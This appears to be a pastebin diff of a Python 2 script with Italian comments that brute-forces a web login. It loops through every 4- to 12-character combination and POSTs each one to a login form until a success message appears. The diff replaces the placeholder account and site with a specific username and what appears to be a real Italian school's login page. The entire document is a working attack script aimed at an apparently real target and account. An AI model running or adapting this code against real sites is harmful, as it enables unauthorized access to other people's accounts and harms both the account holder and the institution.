SHOW:
|
|
- or go back to the newest paste.
| 1 | # Importo la libreria che ci serve per la connessione http | |
| 2 | import urllib | |
| 3 | ||
| 4 | # Username di cui si vuole scoprire la password | |
| 5 | - | username = "admin" |
| 5 | + | username = "delbueilaria" |
| 6 | ||
| 7 | # Pagina di action a cui rimanda il form di login | |
| 8 | - | paginaLogin = "http://www.miosito.it/login.php" |
| 8 | + | paginaLogin = "http://www.liceocanossa.gov.it//login.php" |
| 9 | ||
| 10 | # Messaggio di avvenuto login | |
| 11 | messaggioDiAvvenutoLogin = "Login effettuato!" | |
| 12 | ||
| 13 | # Lista dei caratteri possibili in una password. | |
| 14 | listaCaratteri = ["A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', ".", ",", "-", "_", "@", "+"] | |
| 15 | ||
| 16 | # Funzione che verifica se la password passata come parametro | |
| 17 | # e' quella corretta e di conseguenza e' stata indovinata. | |
| 18 | def testaPassword(password): | |
| 19 | print "Testando la password:", password | |
| 20 | ||
| 21 | # Invio i parametri da testare alla pagina di action (paginaLogin) | |
| 22 | parametriDaTestare = { "username" : username, "password" : password, "submit" : "1" }
| |
| 23 | p= urllib.urlencode(parametriDaTestare) | |
| 24 | paginaDiAction = urllib.urlopen(paginaLogin, p) | |
| 25 | ||
| 26 | # Memorizzo la risposta della pagina di action nella variabile risultato | |
| 27 | risultato = paginaDiAction.read() | |
| 28 | ||
| 29 | # Controllo se la password e' corretta | |
| 30 | if messaggioDiAvvenutoLogin in risultato: | |
| 31 | print "Password trovata: ", password | |
| 32 | exit() | |
| 33 | else: | |
| 34 | return | |
| 35 | ||
| 36 | # Qui bisogna supporre una lunghezza massima della password, | |
| 37 | # ipotizziamo 12 caratteri. | |
| 38 | # Stabiliamo anche una lunghezza minima: 4 caratteri. Di conseguenza | |
| 39 | # da 4 caratteri in poi verra' testata la password (attraverso | |
| 40 | # la funzione testaPassword). | |
| 41 | for c1 in listaCaratteri: | |
| 42 | for c2 in listaCaratteri: | |
| 43 | for c3 in listaCaratteri: | |
| 44 | for c4 in listaCaratteri: | |
| 45 | psw = c1+c2+c3+c4 # La password da testare sara' composta dai caratteri | |
| 46 | # correnti ovvero c1, c2, c3, c4 | |
| 47 | testaPassword(psw) | |
| 48 | for c5 in listaCaratteri: | |
| 49 | psw = c1+c2+c3+c4+c5 # La password da testare sara' composta dai | |
| 50 | # caratteri correntiovvero c1, c2, c3, c4 | |
| 51 | testaPassword(psw) | |
| 52 | for c6 in listaCaratteri: | |
| 53 | psw = c1+c2+c3+c4+c5+c6 | |
| 54 | testaPassword(psw) | |
| 55 | for c7 in listaCaratteri: | |
| 56 | psw = c1+c2+c3+c4+c5+c6+c7 | |
| 57 | testaPassword(psw) | |
| 58 | for c8 in listaCaratteri: | |
| 59 | psw = c1+c2+c3+c4+c5+c6+c7+c8 | |
| 60 | testaPassword(psw) | |
| 61 | for c9 in listaCaratteri: | |
| 62 | psw = c1+c2+c3+c4+c5+c6+c7+c8+c9 | |
| 63 | testaPassword(psw) | |
| 64 | for c10 in listaCaratteri: | |
| 65 | psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10 | |
| 66 | testaPassword(psw) | |
| 67 | for c11 in listaCaratteri: | |
| 68 | psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11 | |
| 69 | testaPassword(psw) | |
| 70 | for c12 in listaCaratteri: | |
| 71 | psw = c1+c2+c3+c4+c5+c6+c7+c8+c9+c10+c11+c12 | |
| 72 | testaPassword(psw) |